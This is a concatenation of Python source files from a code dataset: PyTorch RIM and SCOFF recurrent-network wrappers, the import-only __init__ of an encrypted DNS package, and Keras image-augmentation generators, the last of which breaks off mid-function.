rule_time_steps, application_option = application_option, dropout = dropout, step_att = step_att, rule_selection = rule_selection, rule_dim = rule_dim).to(self.device) if i < 2 else RNNModelRimv2(rnn_cell, 2 * hidden_size, 2 * hidden_size, [hidden_size], 1, num_blocks = [num_units], topk = [k], do_gru = rnn_cell == 'GRU', version=version, attention_out=attention_out, num_rules = num_rules, rule_time_steps = rule_time_steps, application_option = application_option, dropout = dropout, step_att = step_att, rule_selection = rule_selection, rule_dim = rule_dim).to(self.device) for i in range(self.n_layers * self.num_directions)]) else: self.rimcell = nn.ModuleList([RNNModelRimv2(rnn_cell, input_size, input_size, [hidden_size], 1, num_blocks = [num_units], topk = [k], do_gru = rnn_cell == 'GRU', version=version, attention_out=attention_out, num_rules = num_rules, rule_time_steps = rule_time_steps, application_option = application_option, dropout = dropout, step_att = step_att, rule_selection = rule_selection, rule_dim = rule_dim).to(self.device) if i == 0 else RNNModelRimv2(rnn_cell, hidden_size, hidden_size, [hidden_size], 1, num_blocks = [num_units], topk = [k], do_gru = rnn_cell == 'GRU', version=version, attention_out=attention_out, num_rules = num_rules, rule_time_steps = rule_time_steps, application_option = application_option, dropout = dropout, step_att = step_att, rule_selection = rule_selection, rule_dim = rule_dim).to(self.device) for i in range(self.n_layers)]) def rim_transform_hidden(self, hs): hiddens = [] h_split = torch.split(hs[0], 1, dim = 0) c_split = torch.split(hs[1], 1, dim = 0) for h, c in zip(h_split, c_split): hiddens.append((h.squeeze(0), c.squeeze(0))) return hiddens def rim_inverse_transform_hidden(self, hs): h, c = [], [] for h_ in hs: h.append(h_[0]) c.append(h_[1]) h = torch.stack(h, dim = 0) c = torch.stack(c, dim = 0) return (h, c) def layer(self, rim_layer, x, h, c = None, direction = 0, message_to_rule_network = None): batch_size = x.size(1) xs = list(torch.split(x, 1, dim = 0)) if direction == 1: xs.reverse() xs = torch.cat(xs, dim = 0) hidden = self.rim_transform_hidden((h, c)) entropy = 0 outputs, hidden, _, _, _, entropy_ = rim_layer(xs, hidden, message_to_rule_network = message_to_rule_network) entropy += entropy_ #hs = h.squeeze(0).view(batch_size, self.num_units, -1) #cs = None #if c is not None: # cs = c.squeeze(0).view(batch_size, self.num_units, -1) #outputs = [] #for x in xs: # x = x.squeeze(0) # hs, cs = rim_layer(x, hs, cs) # outputs.append(hs.view(1, batch_size, -1)) hs, cs = self.rim_inverse_transform_hidden(hidden) outputs = list(torch.split(outputs, 1, dim = 0)) if direction == 1: outputs.reverse() outputs = torch.cat(outputs, dim = 0) if c is not None: return outputs, hs.view(batch_size, -1), cs.view(batch_size, -1), entropy else: return outputs, hs.view(batch_size, -1) def forward(self, x, hidden = None, message_to_rule_network = None): """ Input: x (seq_len, batch_size, input_size hidden tuple[(num_layers * num_directions, batch_size, hidden_size)] (Optional) Output: outputs (batch_size, seqlen, hidden_size * num_directions) hidden tuple[(num_layers * num_directions, batch_size, hidden_size)] """ if self.batch_first: x = x.transpose(0, 1) h, c = None, None if hidden is not None: h, c = hidden[0], hidden[1] hs = torch.zeros(self.n_layers * self.num_directions, x.size(1), self.hidden_size * self.num_units).to(self.device) if h is None else h cs = None if self.rnn_cell == 'LSTM': cs = torch.zeros(self.n_layers * self.num_directions, x.size(1), self.hidden_size * self.num_units).to(self.device) if c is None else c else: cs = hs new_hs = torch.zeros(hs.size()).to(hs.device) new_cs = torch.zeros(cs.size()).to(cs.device) entropy = 0 for n in range(self.n_layers): idx = n * self.num_directions x_fw, new_hs[idx], new_cs[idx], entropy_ = self.layer(self.rimcell[idx], x, hs[idx].unsqueeze(0), cs[idx].unsqueeze(0), message_to_rule_network=message_to_rule_network) entropy += entropy_ if self.num_directions == 2: idx = n * self.num_directions + 1 x_bw, new_hs[idx], new_cs[idx], entropy_ = self.layer(self.rimcell[idx], x, hs[idx].unsqueeze(0), cs[idx].unsqueeze(0), direction=1, message_to_rule_network = message_to_rule_network) entropy += entropy_ x = torch.cat((x_fw, x_bw), dim = 2) else: x = x_fw #hs = torch.stack(hs, dim = 0) #cs = torch.stack(cs, dim = 0) if self.batch_first: x = x.transpose(0, 1) if self.rnn_cell == 'GRU': return x, (new_hs, new_hs), entropy else: return x, (new_hs, new_cs), entropy class SCOFF(nn.Module): def __init__(self, device, input_size, hidden_size, num_units, k, num_templates = 2, rnn_cell = 'LSTM', n_layers = 1, version= 0, attention_out= 85, bidirectional = False, num_rules = 0, rule_time_steps = 0, perm_inv = False, application_option = 3, batch_first = False, dropout = 0.0, step_att=True, rule_selection = 'gumble'): super().__init__() """ - Wrappper for SCOFF. - Mirrors nn.LSTM or nn.GRU - supports bidirection and multiple layers - Option to specify num_rules and rule_time_steps. Parameters: device: 'cuda' or 'cpu' input_size hidden_size num_units: Number of RIMs k: topk rnn_cell: 'LSTM' or 'GRU' (default = LSTM) n_layers: num layers (default = 1) bidirectional: True or False (default = False) num_rules: number of rules (default = 0) rule_time_steps: Number of times to apply rules per time step (default = 0) """ if input_size % num_units != 0: print('ERROR: input_size should be evenly divisible by num_units') exit() if device == 'cuda': self.device = torch.device('cuda') else: self.device = torch.device('cpu') self.n_layers = n_layers self.num_directions = 2 if bidirectional else 1 self.rnn_cell = rnn_cell self.num_units = num_units self.hidden_size = hidden_size // num_units self.batch_first = batch_first if self.num_directions == 2: self.rimcell = nn.ModuleList([RNNModelScoff(rnn_cell, input_size, input_size, hidden_size, 1, n_templates = num_templates, num_blocks = num_units, update_topk = k, use_gru = rnn_cell == 'GRU', version=version, attention_out=attention_out, num_rules = num_rules, rule_time_steps = rule_time_steps, perm_inv = perm_inv, application_option = application_option, dropout = dropout, step_att = step_att, rule_selection = rule_selection).to(self.device) if i < 2 else RNNModelScoff(rnn_cell, 2 * hidden_size, 2 * hidden_size, hidden_size, 1, n_templates = num_templates, num_blocks = num_units, update_topk = k, use_gru = rnn_cell == 'GRU', version=version, attention_out=attention_out, num_rules = num_rules, rule_time_steps = rule_time_steps, perm_inv = perm_inv, application_option = application_option, dropout = dropout, step_att = step_att, rule_selection = rule_selection).to(self.device) for i in range(self.n_layers * self.num_directions)]) else: self.rimcell = nn.ModuleList([RNNModelScoff(rnn_cell, input_size, input_size, hidden_size, 1, n_templates = num_templates, num_blocks = num_units, update_topk = k, use_gru = rnn_cell == 'GRU', version=version, attention_out=attention_out, num_rules = num_rules, rule_time_steps = rule_time_steps, perm_inv = perm_inv, application_option = application_option, dropout = dropout, step_att = step_att, rule_selection = rule_selection).to(self.device) if i == 0 else RNNModelScoff(rnn_cell, hidden_size, hidden_size, hidden_size, 1, n_templates = num_templates, num_blocks = num_units, update_topk = k, use_gru = rnn_cell == 'GRU', num_rules = num_rules, version=version, attention_out=attention_out,rule_time_steps = rule_time_steps, perm_inv = perm_inv, application_option = application_option, dropout = dropout, step_att = step_att, rule_selection = rule_selection).to(self.device) for i in range(self.n_layers)]) def layer(self, rim_layer, x, h, c = None, direction = 0, message_to_rule_network = None): batch_size = x.size(1) xs = list(torch.split(x, 1, dim = 0)) if direction == 1: xs.reverse() xs = torch.cat(xs, dim = 0) hidden = (h, c)#self.rim_transform_hidden((h, c)) entropy = 0 outputs, hidden, _, _, _, entropy_ = rim_layer(xs, hidden, message_to_rule_network = message_to_rule_network) entropy += entropy_ #hs = h.squeeze(0).view(batch_size, self.num_units, -1) #cs = None #if c is not None: # cs = c.squeeze(0).view(batch_size, self.num_units, -1) #outputs = [] #for x in xs: # x = x.squeeze(0) # hs, cs = rim_layer(x, hs, cs) # outputs.append(hs.view(1, batch_size, -1)) hs, cs = hidden #self.rim_inverse_transform_hidden(hidden) outputs = list(torch.split(outputs, 1, dim = 0)) if direction == 1: outputs.reverse() outputs = torch.cat(outputs, dim = 0) if c is not None: hs_ = hs.reshape(batch_size, -1) cs_ = cs.reshape(batch_size, -1) return outputs, hs_, cs_, entropy #.view(batch_size, -1) else: hs_ = hs.reshape(batch_size, -1) return outputs, hs_ def forward(self, x, hidden = None, message_to_rule_network = None): """ Input: x (seq_len, batch_size, feature_size hidden tuple[(num_layers * num_directions, batch_size, hidden_size * num_units)] Output: outputs (batch_size, seqlen, hidden_size * num_units * num-directions) h(and c) (num_layer * num_directions, batch_size, hidden_size* num_units) """ if self.batch_first: x = x.transpose(0, 1) h, c = None, None if hidden is not None: h, c = hidden[0], hidden[1] hs = torch.zeros(self.n_layers * self.num_directions, x.size(1), self.hidden_size * self.num_units).to(self.device) if h is None else h cs = None if self.rnn_cell == 'LSTM': cs = torch.zeros(self.n_layers * self.num_directions, x.size(1), self.hidden_size * self.num_units).to(self.device) if c is None else c else: cs = hs #hs_new = [] #cs_new = [] new_hs = torch.zeros(hs.size()).to(hs.device) new_cs = torch.zeros(cs.size()).to(cs.device) entropy = 0 for n in range(self.n_layers): idx = n * self.num_directions x_fw, new_hs[idx], new_cs[idx], entropy_ = self.layer(self.rimcell[idx], x, hs[idx].unsqueeze(0), cs[idx].unsqueeze(0), message_to_rule_network = message_to_rule_network) entropy += entropy_ if self.num_directions == 2: idx = n * self.num_directions + 1 x_bw, new_hs[idx], new_cs[idx], entropy_ = self.layer(self.rimcell[idx], x, hs[idx], cs[idx], direction = 1, message_to_rule_network = message_to_rule_network) entropy += entropy_ x = torch.cat((x_fw, x_bw), dim = 2) else: x = x_fw #hs = torch.stack(hs, dim = 0) #cs = torch.stack(cs, dim = 0) if self.batch_first: x = x.transpose(0, 1) return x, (new_hs, new_cs) class SCOFFv2(nn.Module): def __init__(self, device, input_size, hidden_size, num_units, k, num_templates = 2, rnn_cell = 'LSTM', n_layers = 1, version= 0, attention_out= 85, bidirectional = False, num_rules = 0, rule_time_steps = 0, perm_inv = False, application_option = 3, batch_first = False, dropout = 0.0, step_att=True, rule_selection = 'gumble', rule_dim = 32): super().__init__() """ - Wrappper for SCOFF. - Mirrors nn.LSTM or nn.GRU - supports bidirection and multiple layers - Option to specify num_rules and rule_time_steps. Parameters: device: 'cuda' or 'cpu' input_size hidden_size num_units: Number of RIMs k: topk rnn_cell: 'LSTM' or 'GRU' (default = LSTM) n_layers: num layers (default = 1) bidirectional: True or False (default = False) num_rules: number of rules (default = 0) rule_time_steps: Number of times to apply rules per time step (default = 0) """ if input_size % num_units != 0: print('ERROR: input_size should be evenly divisible by num_units') exit() if device == 'cuda': self.device = torch.device('cuda') else: self.device = torch.device('cpu') self.n_layers = n_layers self.num_directions = 2 if bidirectional else 1 self.rnn_cell = rnn_cell self.num_units = num_units self.hidden_size = hidden_size // num_units self.batch_first = batch_first if self.num_directions == 2: self.rimcell = nn.ModuleList([RNNModelScoffv2(rnn_cell, input_size, input_size, hidden_size, 1, n_templates = num_templates, num_blocks = num_units, update_topk = k, use_gru = rnn_cell == 'GRU', version=version, attention_out=attention_out, num_rules = num_rules, rule_time_steps = rule_time_steps, perm_inv = perm_inv, application_option = application_option, dropout = dropout, step_att = step_att, rule_selection = rule_selection, rule_dim = rule_dim).to(self.device) if i < 2 else RNNModelScoffv2(rnn_cell, 2 * hidden_size, 2 * hidden_size, hidden_size, 1, n_templates = num_templates, num_blocks = num_units, update_topk = k, use_gru = rnn_cell == 'GRU', version=version, attention_out=attention_out, num_rules = num_rules, rule_time_steps = rule_time_steps, perm_inv = perm_inv, application_option = application_option, dropout = dropout, step_att = step_att, rule_selection = rule_selection, rule_dim = rule_dim).to(self.device) for i in range(self.n_layers * self.num_directions)]) else: self.rimcell = nn.ModuleList([RNNModelScoffv2(rnn_cell, input_size, input_size, hidden_size, 1, n_templates = num_templates, num_blocks = num_units, update_topk = k, use_gru = rnn_cell == 'GRU', version=version, attention_out=attention_out, num_rules = num_rules, rule_time_steps = rule_time_steps, perm_inv = perm_inv, application_option = application_option, dropout = dropout, step_att = step_att, rule_selection = rule_selection, rule_dim = rule_dim).to(self.device) if i == 0 else RNNModelScoffv2(rnn_cell, hidden_size, hidden_size, hidden_size, 1, n_templates = num_templates, num_blocks = num_units, update_topk = k, use_gru = rnn_cell == 'GRU', num_rules = num_rules, version=version, attention_out=attention_out,rule_time_steps = rule_time_steps, perm_inv = perm_inv, application_option = application_option, dropout = dropout, step_att = step_att, rule_selection = rule_selection, rule_dim = rule_dim).to(self.device) for i in range(self.n_layers)]) def layer(self, rim_layer, x, h, c = None, direction = 0, message_to_rule_network = None): batch_size = x.size(1) xs = list(torch.split(x, 1, dim = 0)) if direction == 1: xs.reverse() xs = torch.cat(xs, dim = 0) hidden = (h, c)#self.rim_transform_hidden((h, c)) entropy = 0 outputs, hidden, _, _, _, entropy_ = rim_layer(xs, hidden, message_to_rule_network = message_to_rule_network) entropy += entropy_ #hs = h.squeeze(0).view(batch_size, self.num_units, -1) #cs = None #if c is not None: # cs = c.squeeze(0).view(batch_size, self.num_units, -1) #outputs = [] #for x in xs: # x = x.squeeze(0) # hs, cs = rim_layer(x, hs, cs) # outputs.append(hs.view(1, batch_size, -1)) hs, cs = hidden #self.rim_inverse_transform_hidden(hidden) outputs = list(torch.split(outputs, 1, dim = 0)) if direction == 1: outputs.reverse() outputs = torch.cat(outputs, dim = 0) if c is not None: hs_ = hs.reshape(batch_size, -1) cs_ = cs.reshape(batch_size, -1) return outputs, hs_, cs_, entropy #.view(batch_size, -1) else: hs_ = hs.reshape(batch_size, -1) return outputs, hs_ def forward(self, x, hidden = None, message_to_rule_network = None): """ Input: x (seq_len, batch_size, feature_size hidden tuple[(num_layers * num_directions, batch_size, hidden_size * num_units)] Output: outputs (batch_size, seqlen, hidden_size * num_units * num-directions) h(and c) (num_layer * num_directions, batch_size, hidden_size* num_units) """ if self.batch_first: x = x.transpose(0, 1) h, c = None, None if hidden is not None: h, c = hidden[0], hidden[1] hs = torch.zeros(self.n_layers * self.num_directions, x.size(1), self.hidden_size * self.num_units).to(self.device) if h is None else h cs = None if self.rnn_cell == 'LSTM': cs = torch.zeros(self.n_layers * self.num_directions, x.size(1), self.hidden_size * self.num_units).to(self.device) if c is None else c else: cs = hs #hs_new = [] #cs_new = [] new_hs = torch.zeros(hs.size()).to(hs.device) new_cs = torch.zeros(cs.size()).to(cs.device) entropy = 0 for n in range(self.n_layers): idx = n * self.num_directions x_fw, new_hs[idx], new_cs[idx], entropy_ = self.layer(self.rimcell[idx], x, hs[idx].unsqueeze(0), cs[idx].unsqueeze(0), message_to_rule_network = message_to_rule_network) entropy += entropy_ if self.num_directions == 2: idx = n * self.num_directions + 1 x_bw, new_hs[idx], new_cs[idx], entropy_ = self.layer(self.rimcell[idx], x, hs[idx], cs[idx], direction = 1, message_to_rule_network = message_to_rule_network) entropy += entropy_ x = torch.cat((x_fw, x_bw), dim = 2) else: x = x_fw #hs = torch.stack(hs, dim = 0) #cs = torch.stack(cs, dim = 0) if self.batch_first: x = x.transpose(0, 1) return x, (new_hs, new_cs), entropy if __name__=='__main__': rim = SCOFF('cuda', 20, 32, 4, 4, rnn_cell = 'LSTM', n_layers = 2, bidirectional = True, num_rules = 5, rule_time_steps = 3, perm_inv = True) x = torch.rand(10, 2, 20).cuda() out = rim(x) print(out[0].size()) print(out[1][0].size()) print(out[1][1].size())
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7
9edccb6dd89d2add553f9106d892f650216a5ecf
162
py
Python
encrypted_dns/__init__.py
IOT-Kill-net/Encrypted-DNS
84fd5330983e6b51e10e396aa80d18fb85a8662b
[ "Apache-2.0" ]
null
null
null
encrypted_dns/__init__.py
IOT-Kill-net/Encrypted-DNS
84fd5330983e6b51e10e396aa80d18fb85a8662b
[ "Apache-2.0" ]
null
null
null
encrypted_dns/__init__.py
IOT-Kill-net/Encrypted-DNS
84fd5330983e6b51e10e396aa80d18fb85a8662b
[ "Apache-2.0" ]
1
2020-12-23T17:34:09.000Z
2020-12-23T17:34:09.000Z
import encrypted_dns.inbound import encrypted_dns.outbound import encrypted_dns.resolve import encrypted_dns.utils from encrypted_dns.config import ConfigHandler
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7
73177e27d4962b114d2b5a585922ab639af3ac7f
27,422
py
Python
image_base/data_generators.py
ryanfeather/image_base
6aa56eaa59abd0c62bebd06f26a801e6ba62ddb4
[ "MIT" ]
null
null
null
image_base/data_generators.py
ryanfeather/image_base
6aa56eaa59abd0c62bebd06f26a801e6ba62ddb4
[ "MIT" ]
null
null
null
image_base/data_generators.py
ryanfeather/image_base
6aa56eaa59abd0c62bebd06f26a801e6ba62ddb4
[ "MIT" ]
null
null
null
""" Numerous data generator configurations not natively supported by keras """ from keras.preprocessing.image import Iterator, ImageDataGenerator, NumpyArrayIterator, array_to_img, transform_matrix_offset_center, apply_transform, random_channel_shift, flip_axis import os import numpy as np class XOnlyImageDataGenerator(ImageDataGenerator): def flow(self, X, batch_size=32, shuffle=True, seed=None, save_to_dir=None, save_prefix='', save_format='jpeg'): return XOnlyNumpyArrayIterator( X, self, batch_size=batch_size, shuffle=shuffle, seed=seed, dim_ordering=self.dim_ordering, save_to_dir=save_to_dir, save_prefix=save_prefix, save_format=save_format) class XOnlyNumpyArrayIterator(Iterator): def __init__(self, X, image_data_generator, batch_size=32, shuffle=False, seed=None, dim_ordering='default', save_to_dir=None, save_prefix='', save_format='jpeg'): if dim_ordering == 'default': dim_ordering = K.image_dim_ordering() self.X = np.asarray(X) if self.X.ndim != 4: raise ValueError('Input data in `NumpyArrayIterator` ' 'should have rank 4. You passed an array ' 'with shape', self.X.shape) channels_axis = 3 if dim_ordering == 'tf' else 1 if self.X.shape[channels_axis] not in {1, 3, 4}: raise ValueError('NumpyArrayIterator is set to use the ' 'dimension ordering convention "' + dim_ordering + '" ' '(channels on axis ' + str(channels_axis) + '), i.e. expected ' 'either 1, 3 or 4 channels on axis ' + str(channels_axis) + '. ' 'However, it was passed an array with shape ' + str(self.X.shape) + ' (' + str(self.X.shape[channels_axis]) + ' channels).') self.image_data_generator = image_data_generator self.dim_ordering = dim_ordering self.save_to_dir = save_to_dir self.save_prefix = save_prefix self.save_format = save_format super(XOnlyNumpyArrayIterator, self).__init__(X.shape[0], batch_size, shuffle, seed) def next(self): # for python 2.x. # Keeps under lock only the mechanism which advances # the indexing of each batch # see http://anandology.com/blog/using-iterators-and-generators/ with self.lock: index_array, current_index, current_batch_size = next(self.index_generator) # The transformation of images is not under thread lock so it can be done in parallel batch_x = np.zeros(tuple([current_batch_size] + list(self.X.shape)[1:])) for i, j in enumerate(index_array): x = self.X[j] x = self.image_data_generator.random_transform(x.astype('float32')) x = self.image_data_generator.standardize(x) batch_x[i] = x if self.save_to_dir: for i in range(current_batch_size): img = array_to_img(batch_x[i], self.dim_ordering, scale=True) fname = '{prefix}_{index}_{hash}.{format}'.format(prefix=self.save_prefix, index=current_index + i, hash=np.random.randint(1e4), format=self.save_format) img.save(os.path.join(self.save_to_dir, fname)) return batch_x class MultiYNumpyArrayIterator(Iterator): def __init__(self, X, y, image_data_generator, batch_size=32, shuffle=False, seed=None, dim_ordering='default', save_to_dir=None, save_prefix='', save_format='jpeg'): if y is not None and len(X) != len(y): if isinstance(y, list): for y_sub in y: if len(X) != len(y_sub): raise ValueError('X (images tensor) and y (labels) ' 'should have the same length. ' 'Found: X.shape = %s, y.shape = %s' % ( np.asarray(X).shape, np.asarray(y).shape)) else: raise ValueError('X (images tensor) and y (labels) ' 'should have the same length. ' 'Found: X.shape = %s, y.shape = %s' % (np.asarray(X).shape, np.asarray(y).shape)) if dim_ordering == 'default': dim_ordering = K.image_dim_ordering() self.X = np.asarray(X) if self.X.ndim != 4: raise ValueError('Input data in `NumpyArrayIterator` ' 'should have rank 4. You passed an array ' 'with shape', self.X.shape) channels_axis = 3 if dim_ordering == 'tf' else 1 if self.X.shape[channels_axis] not in {1, 3, 4}: raise ValueError('NumpyArrayIterator is set to use the ' 'dimension ordering convention "' + dim_ordering + '" ' '(channels on axis ' + str(channels_axis) + '), i.e. expected ' 'either 1, 3 or 4 channels on axis ' + str(channels_axis) + '. ' 'However, it was passed an array with shape ' + str(self.X.shape) + ' (' + str(self.X.shape[channels_axis]) + ' channels).') if y is not None: if isinstance(y, list): self.y = [np.asarray(y_sub) for y_sub in y] else: self.y = np.asarray(y) else: self.y = None self.image_data_generator = image_data_generator self.dim_ordering = dim_ordering self.save_to_dir = save_to_dir self.save_prefix = save_prefix self.save_format = save_format super(MultiYNumpyArrayIterator, self).__init__(X.shape[0], batch_size, shuffle, seed) def next(self): # for python 2.x. # Keeps under lock only the mechanism which advances # the indexing of each batch # see http://anandology.com/blog/using-iterators-and-generators/ with self.lock: index_array, current_index, current_batch_size = next(self.index_generator) # The transformation of images is not under thread lock so it can be done in parallel batch_x = np.zeros(tuple([current_batch_size] + list(self.X.shape)[1:])) for i, j in enumerate(index_array): x = self.X[j] x = self.image_data_generator.random_transform(x.astype('float32')) x = self.image_data_generator.standardize(x) batch_x[i] = x if self.save_to_dir: for i in range(current_batch_size): img = array_to_img(batch_x[i], self.dim_ordering, scale=True) fname = '{prefix}_{index}_{hash}.{format}'.format(prefix=self.save_prefix, index=current_index + i, hash=np.random.randint(1e4), format=self.save_format) img.save(os.path.join(self.save_to_dir, fname)) if self.y is None: return batch_x if isinstance(self.y,list): batch_y = [y_sub[index_array] for y_sub in self.y] else: batch_y = self.y[index_array] return batch_x, batch_y class MultiXYNumpyArrayIterator(Iterator): def __init__(self, X, y, image_data_generator, batch_size=32, shuffle=False, seed=None, dim_ordering='default', save_to_dir=None, save_prefix='', save_format='jpeg',transforms=None): if y is not None and len(X) != len(y): if isinstance(y, list): for y_sub in y: if len(X) != len(y_sub): raise ValueError('X (images tensor) and y (labels) ' 'should have the same length. ' 'Found: X.shape = %s, y.shape = %s' % ( np.asarray(X).shape, np.asarray(y).shape)) else: raise ValueError('X (images tensor) and y (labels) ' 'should have the same length. ' 'Found: X.shape = %s, y.shape = %s' % (np.asarray(X).shape, np.asarray(y).shape)) if dim_ordering == 'default': dim_ordering = K.image_dim_ordering() self.X = np.asarray(X) if self.X.ndim != 4: raise ValueError('Input data in `NumpyArrayIterator` ' 'should have rank 4. You passed an array ' 'with shape', self.X.shape) channels_axis = 3 if dim_ordering == 'tf' else 1 if self.X.shape[channels_axis] not in {1, 3, 4}: raise ValueError('NumpyArrayIterator is set to use the ' 'dimension ordering convention "' + dim_ordering + '" ' '(channels on axis ' + str(channels_axis) + '), i.e. expected ' 'either 1, 3 or 4 channels on axis ' + str(channels_axis) + '. ' 'However, it was passed an array with shape ' + str(self.X.shape) + ' (' + str(self.X.shape[channels_axis]) + ' channels).') if y is not None: if isinstance(y, list): self.y = [np.asarray(y_sub) for y_sub in y] else: self.y = np.asarray(y) else: self.y = None self.image_data_generator = image_data_generator self.dim_ordering = dim_ordering self.save_to_dir = save_to_dir self.save_prefix = save_prefix self.save_format = save_format self.transforms = transforms super(MultiXYNumpyArrayIterator, self).__init__(X.shape[0], batch_size, shuffle, seed) def next(self): # for python 2.x. # Keeps under lock only the mechanism which advances # the indexing of each batch # see http://anandology.com/blog/using-iterators-and-generators/ with self.lock: index_array, current_index, current_batch_size = next(self.index_generator) # The transformation of images is not under thread lock so it can be done in parallel batch_x = np.zeros(tuple([current_batch_size] + list(self.X.shape)[1:])) if isinstance(self.y, list): use_y = self.y[0]#batch_y = [y_sub[index_array] for y_sub in self.y] else: use_y = self.y#[index_array] batch_y = np.zeros(tuple([current_batch_size] + list(use_y.shape)[1:])) for i, j in enumerate(index_array): x = self.X[j] y = use_y[j] x,y = self.image_data_generator.random_transform(x.astype('float32'), y.astype('float32')) batch_x[i] = x batch_y[i] = y if self.save_to_dir:#todo handle y for i in range(current_batch_size): img = array_to_img(batch_x[i], self.dim_ordering, scale=True) fname = '{prefix}_{index}_{hash}.{format}'.format(prefix=self.save_prefix, index=current_index + i, hash=np.random.randint(1e4), format=self.save_format) img.save(os.path.join(self.save_to_dir, fname)) #batch_y = batch_y.reshape((current_batch_size, -1)) if isinstance(self.y, list): batch_y_out = [batch_y] for i in range(1, len(self.y)): batch_y_out.append(self.y[i][index_array]) if self.transforms is not None: batch_y_out_new = [] for i in range(0, len(self.transforms)): batch_y_out_new.extend(self.transforms[i](batch_y_out)) batch_y_out = batch_y_out_new else: batch_y_out = batch_y if self.transforms is not None: batch_y_out = self.transforms[0](batch_y_out) return batch_x,batch_y_out class MultiYImageDataGenerator(ImageDataGenerator): def flow(self, X, y, batch_size=32, shuffle=True, seed=None, save_to_dir=None, save_prefix='', save_format='jpeg'): return MultiYNumpyArrayIterator( X, y, self, batch_size=batch_size, shuffle=shuffle, seed=seed, dim_ordering=self.dim_ordering, save_to_dir=save_to_dir, save_prefix=save_prefix, save_format=save_format) class MultiXYImageDataGenerator(ImageDataGenerator): def __init__(self, transforms=None, **super_kwargs): self.transforms = transforms super(MultiXYImageDataGenerator, self).__init__(**super_kwargs) def flow(self, X, y, batch_size=32, shuffle=True, seed=None, save_to_dir=None, save_prefix='', save_format='jpeg'): return MultiXYNumpyArrayIterator( X, y, self, batch_size=batch_size, shuffle=shuffle, seed=seed, dim_ordering=self.dim_ordering, save_to_dir=save_to_dir, save_prefix=save_prefix, save_format=save_format, transforms=self.transforms) def random_transform(self, x, y): # x is a single image, so it doesn't have image number at index 0 img_row_index = self.row_index - 1 img_col_index = self.col_index - 1 img_channel_index = self.channel_index - 1 # use composition of homographies to generate final transform that needs to be applied if self.rotation_range: theta = np.pi / 180 * np.random.uniform(-self.rotation_range, self.rotation_range) else: theta = 0 rotation_matrix = np.array([[np.cos(theta), -np.sin(theta), 0], [np.sin(theta), np.cos(theta), 0], [0, 0, 1]]) if self.height_shift_range: tx = np.random.uniform(-self.height_shift_range, self.height_shift_range) * x.shape[img_row_index] else: tx = 0 if self.width_shift_range: ty = np.random.uniform(-self.width_shift_range, self.width_shift_range) * x.shape[img_col_index] else: ty = 0 translation_matrix = np.array([[1, 0, tx], [0, 1, ty], [0, 0, 1]]) if self.shear_range: shear = np.random.uniform(-self.shear_range, self.shear_range) else: shear = 0 shear_matrix = np.array([[1, -np.sin(shear), 0], [0, np.cos(shear), 0], [0, 0, 1]]) if self.zoom_range[0] == 1 and self.zoom_range[1] == 1: zx, zy = 1, 1 else: zx, zy = np.random.uniform(self.zoom_range[0], self.zoom_range[1], 2) zoom_matrix = np.array([[zx, 0, 0], [0, zy, 0], [0, 0, 1]]) transform_matrix = np.dot(np.dot(np.dot(rotation_matrix, translation_matrix), shear_matrix), zoom_matrix) h, w = x.shape[img_row_index], x.shape[img_col_index] transform_matrix = transform_matrix_offset_center(transform_matrix, h, w) x = apply_transform(x, transform_matrix, img_channel_index, fill_mode=self.fill_mode, cval=self.cval) y =apply_transform(y, transform_matrix, img_channel_index, fill_mode=self.fill_mode, cval=self.cval) if self.channel_shift_range != 0: x = random_channel_shift(x, self.channel_shift_range, img_channel_index) # don't do y channel shift if self.horizontal_flip: if np.random.random() < 0.5: x = flip_axis(x, img_col_index) y = flip_axis(y, img_col_index) if self.vertical_flip: if np.random.random() < 0.5: x = flip_axis(x, img_row_index) y = flip_axis(y, img_row_index) # TODO: # channel-wise normalization # barrel/fisheye return x, y class OmniImageDataGenerator(ImageDataGenerator): def __init__(self, transforms=None, **super_kwargs): self.transforms = transforms super(OmniImageDataGenerator, self).__init__(**super_kwargs) def flow(self, X, y, batch_size=32, shuffle=True, seed=None, save_to_dir=None, save_prefix='', save_format='jpeg'): """X and y are expected to be tuple lists of the form [(data,transform)] where transform indicates whether or not to transform it """ return OmniNumpyArrayIterator( X, y, self, batch_size=batch_size, shuffle=shuffle, seed=seed, dim_ordering=self.dim_ordering, save_to_dir=save_to_dir, save_prefix=save_prefix, save_format=save_format, transforms=self.transforms) def random_transform(self, x, y): x_shape = None for x_sub in x: if x_sub[1]: x_shape = x_sub.shape img_channel_index, img_col_index, img_row_index, transform_matrix = self.build_transform(x_shape) flip_horiz_choice, flip_vert_choice = np.random.random(2) < 0.5 for x_i in range(len(x)): if x[x_i][1]: to_transform = x[x_i][0] to_transform = self.spatial_transforms(flip_horiz_choice, flip_vert_choice, img_channel_index, img_col_index, img_row_index, to_transform, transform_matrix) if self.channel_shift_range != 0: to_transform = random_channel_shift(to_transform, self.channel_shift_range, img_channel_index) x[x_i][0] = to_transform if y is not None: for y_i in range(len(y)): if y[y_i][1]: to_transform = y[y_i][0] to_transform = self.spatial_transforms(flip_horiz_choice, flip_vert_choice, img_channel_index, img_col_index, img_row_index, to_transform, transform_matrix) y[y_i][0] = to_transform # TODO: # channel-wise normalization # barrel/fisheye return x, y def spatial_transforms(self, flip_horiz_choice, flip_vert_choice, img_channel_index, img_col_index, img_row_index, to_transform, transform_matrix): to_transform = apply_transform(to_transform, transform_matrix, img_channel_index, fill_mode=self.fill_mode, cval=self.cval) if self.horizontal_flip: if flip_horiz_choice: to_transform = flip_axis(to_transform, img_col_index) if self.vertical_flip: if flip_vert_choice < 0.5: to_transform = flip_axis(to_transform, img_row_index) return to_transform def build_transform(self, shape): img_row_index = self.row_index - 1 img_col_index = self.col_index - 1 img_channel_index = self.channel_index - 1 # use composition of homographies to generate final transform that needs to be applied if self.rotation_range: theta = np.pi / 180 * np.random.uniform(-self.rotation_range, self.rotation_range) else: theta = 0 rotation_matrix = np.array([[np.cos(theta), -np.sin(theta), 0], [np.sin(theta), np.cos(theta), 0], [0, 0, 1]]) if self.height_shift_range: tx = np.random.uniform(-self.height_shift_range, self.height_shift_range) * shape[img_row_index] else: tx = 0 if self.width_shift_range: ty = np.random.uniform(-self.width_shift_range, self.width_shift_range) * shape[img_col_index] else: ty = 0 translation_matrix = np.array([[1, 0, tx], [0, 1, ty], [0, 0, 1]]) if self.shear_range: shear = np.random.uniform(-self.shear_range, self.shear_range) else: shear = 0 shear_matrix = np.array([[1, -np.sin(shear), 0], [0, np.cos(shear), 0], [0, 0, 1]]) if self.zoom_range[0] == 1 and self.zoom_range[1] == 1: zx, zy = 1, 1 else: zx, zy = np.random.uniform(self.zoom_range[0], self.zoom_range[1], 2) zoom_matrix = np.array([[zx, 0, 0], [0, 